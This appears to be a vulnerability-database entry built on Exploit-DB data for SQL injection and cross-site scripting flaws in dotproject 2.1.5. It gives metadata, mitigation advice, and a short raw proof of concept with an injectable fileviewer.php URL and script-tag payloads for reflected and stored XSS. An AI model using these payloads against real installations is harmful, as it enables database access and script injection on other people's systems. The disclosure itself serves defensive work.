sql injection in dotproject 2.1.5

vendor:

dotproject

by:

lemlajt

8.8

CVSS

HIGH

SQL Injection

CWE

Product Name: dotproject

Affected Version From: 2.1.2005

Affected Version To: 2.1.2005

Patch Exists: N/A

Related CWE: N/A

CPE: a:dotproject:dotproject:2.1.5

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2011

sql injection in dotproject 2.1.5

A SQL injection vulnerability exists in dotproject 2.1.5. An attacker can exploit this vulnerability by sending a maliciously crafted request to the vulnerable application. This can allow the attacker to execute arbitrary SQL commands on the underlying database, potentially allowing them to access sensitive data. The vulnerability is located in the fileviewer.php file, where the application is vulnerable to an unauthenticated SQL injection attack. An attacker can exploit this vulnerability by sending a maliciously crafted request to the vulnerable application. This can allow the attacker to execute arbitrary SQL commands on the underlying database, potentially allowing them to access sensitive data.

Mitigation:

Developers should ensure that user-supplied input is properly sanitized and validated before being used in SQL queries. Additionally, developers should use parameterized queries to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# exploit title: sql injection in dotproject 2.1.5
# date 21.o2.2o11
# author: lemlajt
# software : dotproject
# version: 2.1.5
# tested on: linux
# cve :
# http://dotproject.net/


PoC :
http://localhost/www/cmsadmins/dotpro/dotproject/fileviewer.php?file_id='

in src:
2 ./dotproject/fileviewer.php:
127 db_loadHash('SELECT * FROM (`dotp_files`) WHERE file_id = -9',NULL)

another xss/sqli is here:
POST http://localhost/www/cmsadmins/dotpro/dotproject/index.php?m=projects
$department=company_1"><script>alert(1)</script>

we get an error with sql infos and xss.

1. visit
http://localhost/www/cmsadmins/dotpro/dotproject/index.php?m=projects&a=addedit
(adding new project)
2. POST $project_name="><script>
persistant.here</script> and choose 'company' to submit the form.
3. to see some affects just visit new project page: (in this example)
http://localhost/www/cmsadmins/dotpro/dotproject/index.php?m=projects&a=view&project_id=2

# *
regards!

o/